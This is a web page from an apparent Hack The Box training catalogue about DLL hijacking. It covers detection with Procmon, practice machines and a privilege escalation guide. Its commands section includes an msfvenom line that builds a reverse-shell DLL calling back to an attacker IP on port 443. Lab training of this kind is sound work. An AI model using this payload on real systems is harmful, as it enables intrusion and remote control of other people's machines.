DLL
Sub-technique of T1574 Hijack Execution Flow ↗
Making a Windows program load your DLL instead of the legitimate one through search order or a writable path.
How it shows up on Hack The Box
With Procmon (on a copy) look for NAME NOT FOUND when loading DLLs from folders you can write to. On HTB it usually comes with a service or task that restarts by itself.
Techniques in our catalog that match this one (the number is their machines):
Machines to practice it
Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.
Guides
- Windows privilege escalation: services, unquoted paths, DLL hijacking and AlwaysInstallElevated 4 min read Find and abuse Windows services with weak permissions, unquoted paths, DLL hijacking, scheduled tasks and AlwaysInstallElevated, by hand or with winPEAS.
Commands
Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.
Your values
Saved in this browser and applied to every cheatsheet.
Reverse shell generator › msfvenom
Windows DLL (DLL hijacking)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f dll -o shell.dllNo command matches.